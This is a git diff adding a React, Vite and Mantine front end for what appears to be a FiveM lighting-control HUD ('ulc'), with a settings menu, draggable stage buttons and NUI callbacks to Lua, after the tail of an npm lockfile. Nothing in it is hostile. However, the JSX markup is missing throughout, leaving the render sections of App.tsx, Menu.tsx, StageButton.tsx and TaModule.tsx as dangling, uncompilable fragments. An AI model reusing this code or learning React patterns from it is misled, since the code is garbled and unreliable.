"dev": true + }, + "tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" + }, + "typescript": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.8.4.tgz", + "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==", + "dev": true + }, + "update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + }, + "use-callback-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.0.tgz", + "integrity": "sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==", + "requires": { + "tslib": "^2.0.0" + } + }, + "use-composed-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.3.0.tgz", + "integrity": "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==", + "requires": {} + }, + "use-isomorphic-layout-effect": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz", + "integrity": "sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==", + "requires": {} + }, + "use-latest": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.2.1.tgz", + "integrity": "sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==", + "requires": { + "use-isomorphic-layout-effect": "^1.1.1" + } + }, + "use-sidecar": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz", + "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==", + "requires": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "vite": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/vite/-/vite-3.1.6.tgz", + "integrity": "sha512-qMXIwnehvvcK5XfJiXQUiTxoYAEMKhM+jqCY6ZSTKFBKu1hJnAKEzP3AOcnTerI0cMZYAaJ4wpW1wiXLMDt4mA==", + "dev": true, + "requires": { + "esbuild": "^0.15.9", + "fsevents": "~2.3.2", + "postcss": "^8.4.16", + "resolve": "^1.22.1", + "rollup": "~2.78.0" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" + } + } +} diff --git a/resources/ulc/src/package.json b/resources/ulc/src/package.json new file mode 100644 index 000000000..85d940b3a --- /dev/null +++ b/resources/ulc/src/package.json @@ -0,0 +1,28 @@ +{ + "name": "vite-project", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc && vite build --emptyOutDir", + "preview": "vite preview" + }, + "dependencies": { + "@emotion/react": "^11.10.6", + "@mantine/core": "^6.0.0", + "@mantine/hooks": "^6.0.0", + "react": "^18.2.0", + "react-countup": "^6.4.2", + "react-dom": "^18.2.0", + "react-draggable": "^4.4.5" + }, + "devDependencies": { + "@types/react": "^18.0.17", + "@types/react-dom": "^18.0.6", + "@vitejs/plugin-react": "^2.1.0", + "tailwindcss": "^3.3.5", + "typescript": "^4.6.4", + "vite": "^3.1.0" + } +} diff --git a/resources/ulc/src/public/vite.svg b/resources/ulc/src/public/vite.svg new file mode 100644 index 000000000..e7b8dfb1b --- /dev/null +++ b/resources/ulc/src/public/vite.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/resources/ulc/src/src/App.css b/resources/ulc/src/src/App.css new file mode 100644 index 000000000..d7cbc2256 --- /dev/null +++ b/resources/ulc/src/src/App.css @@ -0,0 +1,44 @@ +#root { + background-color: rgba(0, 0, 0, 0) !important; +} + +body { + background-color: rgba(0, 0, 0, 0) !important; + overflow: hidden; +} + +.background { + + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + + padding: 2px; + border: 10px solid ; + background-image: url('./assets/texture.jpg'); + border-radius: 20px; + border-image: url('./assets/image.png') 20 repeat; + + transition: all .5s ease; +} + +.buttons { + display: flex; + flex-direction: row; +} + +.ta { + height: 24px; + width: 100%; + + display: flex; + flex-direction: row; + justify-content: center; + align-items: center; + +} + +.ta-off { + display: none; +} \ No newline at end of file diff --git a/resources/ulc/src/src/App.tsx b/resources/ulc/src/src/App.tsx new file mode 100644 index 000000000..cd1e59ba7 --- /dev/null +++ b/resources/ulc/src/src/App.tsx @@ -0,0 +1,249 @@ +import { useState, useEffect } from 'react' +import Draggable from "react-draggable"; +import { Box, Button, Center, Code, Container, Flex, Paper, Progress, SegmentedControl, Text } from '@mantine/core' +import './app.css' +import StageButton from './components/StageButton' +import TaModule from './components/TaModule' +import Menu from './components/Menu' + +function App() { + + //console.log("Running function") + + ///////////////// + // STATE HOOKS // + ///////////////// + + const [ opacity, setOpacity ] = useState(0) + const [ menuOpacity, setMenuOpacity ] = useState(0) + const [ scale, setScale ] = useState(1.0) + const [ taClassString, setTaClassString ] = useState('ta ta-off') + const [ useLeftAnchor, setUseLeftAnchor ] = useState('false') + const [ hudDisabled, setHudDisabled ] = useState(false) + const [ showHelp, setShowHelp ] = useState(false) + + const [ x, setX ] = useState(0.0) + const [ y, setY ] = useState(0.0) + + interface ButtonObject{ extra: number, numKey: number, enabled: boolean; color: string; label: string} + const [buttonObjects, setButtonObjects] = useState([]); + + + // SENDING DATA TO LUA + + useEffect(() => { + //console.log(`saveScale useEffect sending scale of ${scale} to lua`) + let response = fetch(`https://ulc/saveScale`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({scale}) + }); + }, [scale]) + + useEffect(() => { + //console.log(`saveAnchor useEffect sending anchor value ${useLeftAnchor} to lua`) + let response = fetch(`https://ulc/saveAnchor`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({useLeftAnchor}) + }); + }, [useLeftAnchor]) + + useEffect(() => { + + let response = fetch(`https://ulc/setHudDisabled`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({hudDisabled}) + }); + +}, [hudDisabled]) + + + + /////////////// + // FUNCTIONS // + /////////////// + + function addButton(extra: number, numKey : number, enabled : boolean, color : string, label: string) { + setButtonObjects([...buttonObjects, {extra: extra, numKey: numKey, enabled: enabled, color: color, label: label}]) + } + + + // TODO: THIS WIPES THE TABLE FOR SOME REASON + function setButton(extra: number, newState : boolean) { + //console.log(`Setting buttons! Original buttons: ${buttonObjects}`) + let updatedButtons = buttonObjects.map((item) => item.extra === extra ? { + ...item, + enabled: newState + } : item); + + ////console.log(`Updated buttons ${JSON.stringify(updatedButtons)}`) + setButtonObjects(updatedButtons) + } + + // for ta stuff i guess + function strContains(string1 : string, string2 : string) { + if (string1.indexOf(string2) >= 0) { + return true + } else { + return false + } + } + + function calculateTaClassString(buttons : any) { + let result = 'ta ta-off' + for (let i = 0; i < buttons.length; i++) { + const element = buttons[i]; + if (element.label.toUpperCase() === 'TA') { + result = 'ta ta-on' + } + } + return result + } + + // DRAGGING UI + + const handleDragEvent = async (e: any, data : any) => { + console.log(~~data.x, ~~data.y); + let newX = ~~data.x + let newY = ~~data.y + + setPosition(newX, newY) + //send this position back to lua to save it for later + } + + function setPosition(newX : number, newY : number) { + setX(newX) + setY(newY) + let response = fetch(`https://ulc/savePosition`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({newX, newY}) + }); + } + + + //////////////////// + // EVENT LISTENER // + //////////////////// + + const handleMessage = (e : any) => { + var data = e.data + + if (data.type === 'showHUD') { setOpacity(100) } + else if (data.type === 'hideHUD') { setOpacity(0) } + else if (data.type === 'setPosition') {console.log(`Received x: ${data.x} and y: ${data.y} from lua`); setX(data.x); setY(data.y)} + else if (data.type === 'setScale') {console.log(`Received scale: ${data.scale} from lua`); setScale(data.scale)} + else if (data.type === 'setAnchor') {setUseLeftAnchor(data.bool)} + else if (data.type === 'showMenu') {setMenuOpacity(100)} + else if (data.type === 'hideMenu') {setMenuOpacity(0)} + else if (data.type === 'setHudDisabled') {if (data.bool === 1) {setHudDisabled(true)} else {setHudDisabled(false)}} + else if (data.type === 'showHelp') {setShowHelp(true)} + else if (data.type === 'hideHelp') {setShowHelp(false)} + + if (data.type === 'clearButtons') { + //console.log("Clearing buttons") + setButtonObjects([]) + } + + if (data.type === 'populateButtons') { + //console.log(`Populating buttons ${JSON.stringify(data.buttons)}`) + setButtonObjects(data.buttons) + setTaClassString(calculateTaClassString(data.buttons)) + } + + // takes: extra, state(0 on, 1 off) + if (data.type === 'setButton') { + //console.log(`Setting button ${data.extra} ${data.newState}`) + setButton(data.extra, data.newState) + } + } + + useEffect(() => { + //console.log("I am the useEffect") + + window.removeEventListener('message', handleMessage) + window.addEventListener('message',handleMessage); + + return () => { + window.removeEventListener('message', handleMessage) + } + + }, [handleMessage]); + + + + ///////////////// + // DEFINITIONS // + ///////////////// + + let buttons = buttonObjects.map((buttonObject, index) => ( + <> + + + + )) + + return ( + <> + {/* MENU */} + + + + {/* HUD */} + {handleDragEvent(e, data)}}> + + {/* + + + + */} +
+ + {/*
+ + + + + + + +
*/} + +
+ {buttons} +
+ +
+
+
+ + + + + ) +} + +export default App diff --git a/resources/ulc/src/src/assets/background.png b/resources/ulc/src/src/assets/background.png new file mode 100644 index 000000000..accf4ce62 Binary files /dev/null and b/resources/ulc/src/src/assets/background.png differ diff --git a/resources/ulc/src/src/assets/button_off.png b/resources/ulc/src/src/assets/button_off.png new file mode 100644 index 000000000..0f9970097 Binary files /dev/null and b/resources/ulc/src/src/assets/button_off.png differ diff --git a/resources/ulc/src/src/assets/button_on_amber.png b/resources/ulc/src/src/assets/button_on_amber.png new file mode 100644 index 000000000..02081db83 Binary files /dev/null and b/resources/ulc/src/src/assets/button_on_amber.png differ diff --git a/resources/ulc/src/src/assets/button_on_blue.png b/resources/ulc/src/src/assets/button_on_blue.png new file mode 100644 index 000000000..fa0c8ab51 Binary files /dev/null and b/resources/ulc/src/src/assets/button_on_blue.png differ diff --git a/resources/ulc/src/src/assets/button_on_green.png b/resources/ulc/src/src/assets/button_on_green.png new file mode 100644 index 000000000..e8f08e588 Binary files /dev/null and b/resources/ulc/src/src/assets/button_on_green.png differ diff --git a/resources/ulc/src/src/assets/button_on_red.png b/resources/ulc/src/src/assets/button_on_red.png new file mode 100644 index 000000000..536e6e804 Binary files /dev/null and b/resources/ulc/src/src/assets/button_on_red.png differ diff --git a/resources/ulc/src/src/assets/image.png b/resources/ulc/src/src/assets/image.png new file mode 100644 index 000000000..3ba78c155 Binary files /dev/null and b/resources/ulc/src/src/assets/image.png differ diff --git a/resources/ulc/src/src/assets/ta_off.png b/resources/ulc/src/src/assets/ta_off.png new file mode 100644 index 000000000..30771228e Binary files /dev/null and b/resources/ulc/src/src/assets/ta_off.png differ diff --git a/resources/ulc/src/src/assets/ta_on.png b/resources/ulc/src/src/assets/ta_on.png new file mode 100644 index 000000000..98de89725 Binary files /dev/null and b/resources/ulc/src/src/assets/ta_on.png differ diff --git a/resources/ulc/src/src/assets/texture.jpg b/resources/ulc/src/src/assets/texture.jpg new file mode 100644 index 000000000..0e6c997df Binary files /dev/null and b/resources/ulc/src/src/assets/texture.jpg differ diff --git a/resources/ulc/src/src/components/Menu.tsx b/resources/ulc/src/src/components/Menu.tsx new file mode 100644 index 000000000..7ddd67f90 --- /dev/null +++ b/resources/ulc/src/src/components/Menu.tsx @@ -0,0 +1,149 @@ +import React from 'react' +import { useState, useEffect } from 'react' +import { TypographyStylesProvider, Box, Button, Center, Container, Divider, Flex, NavLink, SegmentedControl, Slider, Switch, Space, Text } from '@mantine/core' + +function Menu({hudDisabled, setHudDisabled, useLeftAnchor, setUseLeftAnchor, scale, setScale, setPosition, opacity, setMenuOpacity} : any) { + + + return ( + +
+ ({ + minHeight: '30vh', + background: 'rgba(26,28,32,0.85)', + borderRadius: theme.radius.md, + padding: '10px', + })}> + +
+ +

ULC SETTINGS

+
+
+
+ +
+ Click & drag HUD to reposition! + +
+
+ + + + Anchor Position + + {setUseLeftAnchor(value); setPosition(0.0, 0.0)}} + data={[ + {label: 'Right', value: 'false'}, + {label: 'Left', value: 'true'} + ] + }/> + + + + + HUD Scale + + `${value.toFixed(1)}`} + /> + + + + + Disable HUD + + setHudDisabled(event.currentTarget.checked)}/> + + + + + + + + + + + +
+
+
+ ) +} + +export default Menu \ No newline at end of file diff --git a/resources/ulc/src/src/components/StageButton.css b/resources/ulc/src/src/components/StageButton.css new file mode 100644 index 000000000..c0a876300 --- /dev/null +++ b/resources/ulc/src/src/components/StageButton.css @@ -0,0 +1,42 @@ + +.button { + + aspect-ratio: 144/121; + width: 65px; + display: flex; + justify-content: center; + align-items: center; + text-align: center; + + background-image: url('../assets/button_off.png'); + background-size: contain; + background-repeat: no-repeat; + + margin: 4px; + padding: 5px; + + color: rgb(81, 81, 81); + font-family: Arial, Helvetica, sans-serif; + font-weight: 800; + font-size: 10pt; + line-height: 14px; +} + +/* this is method to change background image */ +/* just apply second class to the object */ +.blue { + background-image: url('../assets/button_on_blue.png'); + color: #4e598f +} +.red { + background-image: url('../assets/button_on_red.png'); + color: #95665D +} +.amber { + background-image: url('../assets/button_on_amber.png'); + color: #948255 +} +.green { + background-image: url('../assets/button_on_green.png'); + color: #596a2d +} \ No newline at end of file diff --git a/resources/ulc/src/src/components/StageButton.tsx b/resources/ulc/src/src/components/StageButton.tsx new file mode 100644 index 000000000..f4cfd4771 --- /dev/null +++ b/resources/ulc/src/src/components/StageButton.tsx @@ -0,0 +1,35 @@ +import React from 'react' +import { useState, useEffect } from 'react' +import { Box } from '@mantine/core' +import './StageButton.css' + +function StageButton(props: any) { + const { label, numKey, enabled, color, showHelp } = props + const [classString, setClassString ] = useState('button') + + // color strings = 'red', 'blue, 'amber' + useEffect(() => { + if (enabled) { + setClassString(`button ${color}`) + } else { + setClassString(`button`) + } + }), [props] + + if (showHelp) { + return ( +
+ {`NUM ${numKey}`} +
+ ) + } else { + return ( +
+ {label} +
+ ) + } + +} + +export default StageButton \ No newline at end of file diff --git a/resources/ulc/src/src/components/TaModule.css b/resources/ulc/src/src/components/TaModule.css new file mode 100644 index 000000000..fa122d3e1 --- /dev/null +++ b/resources/ulc/src/src/components/TaModule.css @@ -0,0 +1,13 @@ +.ta-module { + aspect-ratio: 256/168; + height: 100%; + + background-image: url('../assets/ta_off.png'); + background-size: contain; + background-repeat: no-repeat; + background-position: center; +} + +.module-on { + background-image: url('../assets/ta_on.png') +} \ No newline at end of file diff --git a/resources/ulc/src/src/components/TaModule.tsx b/resources/ulc/src/src/components/TaModule.tsx new file mode 100644 index 000000000..fa173d6a9 --- /dev/null +++ b/resources/ulc/src/src/components/TaModule.tsx @@ -0,0 +1,24 @@ +import React from 'react' +import { useState, useEffect } from 'react' +import './TaModule.css' + +function TaModule(props : any) { + + const [classString, setClassString ] = useState('ta-module') + + // color strings = 'red', 'blue, 'amber' + useEffect(() => { + if (props.on) { + setClassString(`ta-module module-on`) + } else { + setClassString(`ta-module`) + } + }), [props] + + + return ( +
+ ) +} + +export default TaModule \ No newline at end of file diff --git a/resources/ulc/src/src/main.tsx b/resources/ulc/src/src/main.tsx new file mode 100644 index 000000000..2d845ed06 --- /dev/null +++ b/resources/ulc/src/src/main.tsx @@ -0,0 +1,16 @@ +import React from 'react' +import ReactDOM from 'react-dom/client' +import App from './App' +import { MantineProvider } from '@mantine/core' + +ReactDOM.createRoot(document.getElementById('root') as HTMLElement).render( + ({ + html: { + colorScheme: 'normal' + } + }) + }} > + + +) diff --git a/resources/ulc/src/src/vite-env.d.ts b/resources/ulc/src/src/vite-env.d.ts new file mode 100644 index 000000000..11f02fe2a --- /dev/null +++ b/resources/ulc/src/src/vite-env.d.ts @@ -0,0 +1 @@ +/// diff --git a/resources/ulc/src/tailwind.config.js b/resources/ulc/src/tailwind.config.js new file mode 100644 index 000000000..c189a4a51 --- /dev/null +++ b/resources/ulc/src/tailwind.config.js @@ -0,0 +1,9 @@ +/** @type {import('tailwindcss').Config} */ +export default { + content: [], + theme: { + extend: {}, + }, + plugins: [], +} + diff --git a/resources/ulc/src/tsconfig.json b/resources/ulc/src/tsconfig.json new file mode 100644 index 000000000..3d0a51a86 --- /dev/null +++ b/resources/ulc/src/tsconfig.json @@ -0,0 +1,21 @@ +{ + "compilerOptions": { + "target": "ESNext", + "useDefineForClassFields": true, + "lib": ["DOM", "DOM.Iterable", "ESNext"], + "allowJs": false, + "skipLibCheck": true, + "esModuleInterop": false, + "allowSyntheticDefaultImports": true, + "strict": true, + "forceConsistentCasingInFileNames": true, + "module": "ESNext", + "moduleResolution": "Node", + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx" + }, + "include": ["src"], + "references": [{ "path": "./tsconfig.node.json" }] +} diff --git a/resources/ulc/src/tsconfig.node.json b/resources/ulc/src/tsconfig.node.json new file mode 100644 index 000000000..9d31e2aed --- /dev/null +++ b/resources/ulc/src/tsconfig.node.json @@ -0,0 +1,9 @@ +{ + "compilerOptions": { + "composite": true, + "module": "ESNext", + "moduleResolution": "Node", + "allowSyntheticDefaultImports": true + }, + "include": ["vite.config.ts"] +} diff --git a/resources/ulc/src/vite.config.ts b/resources/ulc/src/vite.config.ts new file mode 100644 index 000000000..02f3ac6a3 --- /dev/null +++ b/resources/ulc/src/vite.config.ts @@ -0,0 +1,11 @@ +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; + +// https://vitejs.dev/config/ +export default defineConfig({ + plugins: [react()], + build: { + outDir: "../html", + }, + base: "", +});